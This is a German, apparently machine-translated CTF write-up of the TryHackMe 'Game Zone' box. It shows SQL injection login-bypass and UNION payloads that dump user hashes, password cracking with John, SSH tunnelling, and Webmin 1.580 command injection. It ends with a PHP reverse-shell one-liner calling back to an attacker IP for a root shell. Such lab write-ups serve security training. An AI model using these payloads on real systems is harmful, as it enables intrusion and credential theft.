Game Zone -TryHackMe – Manueller SQLi-Aufsatz

Reading Time: ( Word Count: )

February 20, 2021
Nextdoorsec-course

Intro

Dieser Artikel behandelt die manuelle Ausnutzung einer SQLi-Schwachstelle ohne SQLMap, das Knacken von Hash-Passwörtern von Benutzern, die Verwendung von SSH-Tunneln, um einen versteckten Dienst aufzudecken, und die Erlangung von Root-Rechten ohne Metasploit. Hier ist ein Link zur Tryhackme-Box.

 

Aufzählung

Nmap-Scan

Ich mag es, eine Umgebungsvariable für die IP-Adresse des Ziels zu definieren, so dass ich sie mir nicht merken oder immer wieder vollständig eingeben muss.

┌──(kali㉿kali)-[~] └─$ export IP=10.10.168.30 ┌──(kali㉿kali)-[~] └─$ nmap -A -sV -p- -v $IP
PORT ZUSTAND SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; Protokoll 2.0) | ssh-hostkey: | 2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA) | 256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA) |_ 256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |httponly-Flag nicht gesetzt | http-methods: |_ Unterstützte Methoden: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Spielzone Service-Informationen: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Nur zwei offene TCP-Ports, ohne Anmeldeinformationen kann man mit SSH nicht viel machen, außer Bruteforcing. Werfen wir einen Blick auf die Website, die auf Port 80 läuft.

Da dieser Rechner auf einer SQLi-Schwachstelle basiert, sollten wir mit den Grundlagen von SQLi beginnen.

Da dieser Rechner auf einer SQLi-Schwachstelle basiert, sollten wir mit den Grundlagen der SQL-Injektion beginnen.

SQL-Einschleusung

Eine SQL-Injektion liegt vor, wenn benutzergesteuerte Eingaben an SQL-Abfragen übergeben werden; auf diese Weise können wir das Ergebnis solcher Abfragen manipulieren.

Eine Abfrage sieht so aus: SELECT ? FROM ? WHERE ? LIKE ? was bedeutet SELECT something FROM some table WHERE some column LIKE '% %'wird der Befehl standardmäßig in einfache Anführungszeichen gesetzt ' ' mit % % enthalten, die Platzhalter sind. Wenn wir suchen würden nach ookund wird somit '%ook%' wo wir book in unserer Datenbank, können wir sie aufgrund dieser Platzhalter finden. Wir haben nur die Kontrolle über die book Wort, können wir den Rest der Abfrage nicht ändern, weil er im PHP-Code des Backends fest einkodiert ist.

Als Erstes müssen Sie herausfinden, welches Datenbankmanagementsystem auf dem Server läuft. Die auf der Website angezeigte Fehlermeldung verrät uns, welche Software für die Verwaltung der Datenbank verwendet wird.

Geben Sie diese Abfrage in das Anmeldeformular ein:
john' or 0=0 #
die das Folgende tut:

SELECT * FROM users WHERE username='john' or 0=0;#' and password='john'; alle Spalten der Tabelle users anzeigen/auswählen, wobei die Spalte username john ist or (führt die Abfrage aus, wenn mindestens eine Bedingung erfüllt ist) 0=0 was immer true ergibt, und die Abfrage wird ausgeführt. Das Rautensymbol # kommentiert alles danach, wobei der folgende Teil ignoriert wird ' and password='john'. Wenn die App anfällig ist, können Sie alle Spalten und ihre Werte anzeigen. Aber in unserem Fall können wir den Anmeldebildschirm umgehen.

Jetzt finden wir ein weiteres SQL-injizierbares Formular als Suchfeld:

Wenn wir nun ein einfaches Anführungszeichen
'
als Abfrage eingeben, wird eine Fehlermeldung ausgegeben (der Inhalt kann auch verschwinden), die uns mehr über das Datenbankmanagementsystem, hier MySQL, verrät:

Sie haben einen Fehler in Ihrer SQL-Syntax. Schauen Sie im Handbuch zu Ihrer MySQL-Server-Version nach, um die richtige Syntax in der Nähe von '%'' in Zeile 1 zu finden

“Sie haben einen Fehler in Ihrer SQL-Syntax. Schauen Sie im Handbuch zu Ihrer MySQL-Server-Version nach, um die richtige Syntax in der Nähe von ‘%” in Zeile 1 zu finden.

Verwenden wir unsere erste Abfrage, um zu sehen, ob wir in der Lage sind, alle Spalten und ihre Werte anzuzeigen:

In der Ausgabe werden nur zwei Spalten angezeigt, nämlich Titel und Bewertung. Zeit für die Aufzählung der Anzahl der Spalten in der Tabelle, die standardmäßig abgefragt wird. Dazu wenden wir einen einfachen Trick an: 'order by 1-- -.

Sie müssen diese Zahl um 1 erhöhen, bis Sie eine Fehlermeldung erhalten, die besagt, dass sie nicht existiert. Bis dahin werden Sie keine Ausgabe sehen, wenn der Befehl erfolgreich ausgeführt wurde.

Ich konnte bis zu 3 hochzählen, bis ich eine Fehlermeldung erhielt. Unser Ziel hat 3 Spalten.

Sie haben einen Fehler in Ihrer SQL-Syntax. Schauen Sie im Handbuch zu Ihrer MySQL-Server-Version nach, um die richtige Syntax in der Nähe von '%'' in Zeile 1 zu finden

Wir können nun versuchen, die Informationen mit dem
union
Befehl:

Schauen wir uns die Datenbanken in MySQL an, indem wir die Tabelle INFORMATION_SCHEMA verwenden, die Informationen über alle Tabellen liefert, im Grunde die Datenbank-Metadaten oder den Systemkatalog:

Abfrage > ' UNION select 1,table_schema,table_name from information_schema.tables #
... information_schema INNODB_CMPMEM information_schema INNODB_BUFFER_POOL_STATS information_schema INNODB_SYS_COLUMNS information_schema INNODB_SYS_FOREIGN information_schema INNODB_SYS_TABLESTATS db post db benutzer mysql spalten_priv mysql db mysql motor_cost mysql-ereignis ...

gibt alle Tabellen und ihre Werte aus. Die Tabellen “post” und “users” sehen für uns in der Datenbank “db” recht interessant aus.

Lassen Sie uns jetzt noch alles abrufen, da ich gerne mehr Informationen zum Nachschlagen habe:

Abfrage > ' union select 1, table_name,column_name from information_schema.columns #
... NNODB_SYS_TABLESTATS MODIFIED_COUNTER INNODB_SYS_TABLESTATS AUTOINC INNODB_SYS_TABLESTATS REF_COUNT post id post name post description users username users pwd spalten_priv Host spalten_priv Db spalten_priv Benutzer spalten_priv Tabellen_name ...

Die obige Abfrage liefert uns alle Tabellen- und Spaltennamen. Wir stellen nichts in die erste Reihe, weil sie aus irgendeinem Grund, den ich nicht kenne, versteckt ist. Wenn Sie es aber wissen, können Sie es mir unten mitteilen.

Wir können genauer sein und die Spalten username und pwd aus der Tabelle users auswählen.

Abfrage > 'union select 1, username,pwd from users #
agent47 ab5db915fc9ce[redacted]6500c57f2b52901ca6c0c6218f04122c3efd14

 

Knacken der Raute

Jetzt, da wir die Anmeldedaten haben, ist es an der Zeit, den Hash zu knacken. Ich benutze die folgende
Website
um den Hash-Typ zu identifizieren und werde ihn mit John knacken.

┌──(kali㉿kali)-[~] └─$ sudo john hash.txt --wordlist=rockyou.txt --format=raw-sha256 Erstelltes Verzeichnis: /root/.john Standardmäßige Eingabekodierung verwenden: UTF-8 Geladen 1 Passwort-Hash (Raw-SHA256 [SHA256 128/128 AVX 4x]) Warnung: schlechte OpenMP-Skalierbarkeit für diesen Hash-Typ, erwägen Sie --fork=8 Es werden 8 OpenMP-Threads ausgeführt Drücken Sie 'q' oder Ctrl-C zum Abbrechen, fast jede andere Taste für den Status [redacted] (?) 1g 0:00:00:00 DONE (2021-02-18 19:57) 2.777g/s 8192Kp/s 8192Kc/s 8192KC/s vimivi..vainlove Verwenden Sie die Optionen "--show --format=Raw-SHA256", um alle geknackten Passwörter zuverlässig anzuzeigen Sitzung abgeschlossen

Um die korrekte Schreibweise aller Hash-Typen anzuzeigen, verwenden Sie die folgende Option:
john --list=formats

Ausbeutung

SSH

Wenn Sie sich erinnern, hatten wir auch einen offenen ssh-Port, also verbinden wir uns mit den Anmeldeinformationen, die wir erhalten haben, und listen alle unsere Box-Verbindungen auf.

┌──(kali㉿kali)-[~] └─$ ssh agent47@$IP agent47@gamezone:~$ ss -tulpn
Netid Status Recv-Q Send-Q Lokale Adresse:Port Peer-Adresse:Port udp UNCONN 0 0 *:10000 *:* udp UNCONN 0 0 *:68 *:* tcp LISTEN 0 80 127.0.0.1:3306 *:* tcp LISTEN 0 128 *:10000 *:* tcp LISTEN 0 128 *:22 *:* tcp LISTEN 0 128 :::80 :::* tcp LISTEN 0 128 :::22 :::*

Port 10000 ist bei unserem Nmap-Scan nicht aufgetaucht, und die übrigen Ports sind ziemlich unproblematisch, also nicht besonders interessant. Eine Firewall-Regel muss den Port 10000 blockieren. Versuchen wir, dies zu überprüfen:

agent47@gamezone:~$ cat /etc/iptables/rules.v4
cat: /etc/iptables/rules.v4: Erlaubnis verweigert

Obwohl wir die iptables nicht sehen können, können wir mit einem SSH-Tunnel den Port für uns (lokal) freigeben!

 

SSH-Tunnel

Von unserem lokalen Rechner aus führen wir:
ssh -L 10000:localhost:10000 agent47@$IP
um den Port zu unserem localhost zu tunneln, so dass wir lokal auf ihn zugreifen können.

Geben Sie anschließend in Ihrem Browser ein: localhost:10000und Sie werden in der Lage sein, auf den neu freigelegten Webserver zuzugreifen. Sie können die zuvor gefundenen Anmeldedaten verwenden.

Wir stellen fest, dass die ausgestellte CMS-Version 1.580 ist. Dies veranlasst uns zu einer schnellen Suche nach potenziellen Schwachstellen:

┌──(kali㉿kali)-[~] └─$ searchsploit -w "webmin 1.580"
--------------------------------------------- -------------------------------------------- Exploit-Titel | URL --------------------------------------------- -------------------------------------------- Webmin 1.580 - '/file/show.cgi' Entferntes Komma | https://www.exploit-db.com/exploits/21851 Webmin <1.920 - 'rpc.cgi' Remote Code Execu | https://www.exploit-db.com/exploits/47330 --------------------------------------------- -------------------------------------------- Shellcodes: Keine Ergebnisse

Damit erhalten wir zwei Metasploit-Module und keinen eigenständigen Exploit. Nachdem wir den Code des ersten Metasploit-Moduls durchgelesen haben, stellen wir fest, dass das Hinzufügen von /file/show.cgi an die URL anhängen, können wir die Verzeichnisse als root durchlaufen.

Einige weitere Aufzählungen

Um Ihnen etwas Zeit zu sparen, habe ich versucht, Folgendes abzurufen
etc/passwd
&
etc/shadow
& sie anschließend mit John zu knacken, aber das Knacken hat nicht funktioniert.

Ich habe die etc/sudoers Datei, aber nichts Interessantes. Das gilt auch für die etc/crontab Datei.

Die Flagge lässt sich leicht abrufen, indem man in den üblichen Root-Pfad wechselt, aber ich wollte erst einmal Root-Rechte bekommen.

Lassen Sie uns nach den SUID-Bit-aktivierten Binärdateien suchen:

agent47@gamezone:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgrp /usr/bin/passwd /usr/bin/chsh /usr/bin/newuidmap /usr/bin/chfn /usr/bin/gpasswd /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/at /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /bin/ntfs-3g /bin/umount /bin/fusermount /bin/mount /bin/ping /bin/su /bin/ping6

Ich habe auch ein paar Skripte hochgeladen, um nach Schwachstellen zu suchen, aber alle waren negativ.

 

Privilegieneskalation

Ich habe einige Zeit damit verbracht, Reverse-Shell-Skripte hochzuladen und sie in die /tmp aber es hat nicht funktioniert. Schließlich fand ich die folgende PHP-Einzeiler-Web-Shell, die funktionierte, indem ich sie ein wenig anders ausführte:

http://localhost:10000/file/show.cgi/bin//file/show.cgi/bin/A|php%20-r%20'$sock=fsockopen(%2210.8.152.221%22,443);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);'| sudo nc -nlvp 443 Weiterhören [any] 443 ... verbinden mit [10 .8.152.221] von (UNBEKANNT) [10 .10.141.213] 42842 /bin/sh: 0: kann nicht auf tty zugreifen; Jobkontrolle ausgeschaltet # whoami Wurzel #
Aydan Arabadzha

Aydan Arabadzha

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

Automated vs Manual Penetration Testing

Automated vs Manual Penetration Testing

Pentesting is largely divided into two methodologies: Automated vs Manual Penetration Testing. Both have ...
8 Steps in Penetration Testing You Should Know

8 Steps in Penetration Testing You Should Know

Mastering the art of penetration testing has become a critical ability for security experts to combat cyber ...
Spear Phishing vs Whaling: What is the Difference

Spear Phishing vs Whaling: What is the Difference

Spear phishing is a particularly devious type of phishing assault in which the individual targeted plays a ...
How Often Should Penetration Testing Be Done

How Often Should Penetration Testing Be Done

Penetration testing is a crucial technique that involves simulating a cyberattack on networks, computer systems, ...
0 Comments

Submit a Comment

Your email address will not be published. Required fields are marked *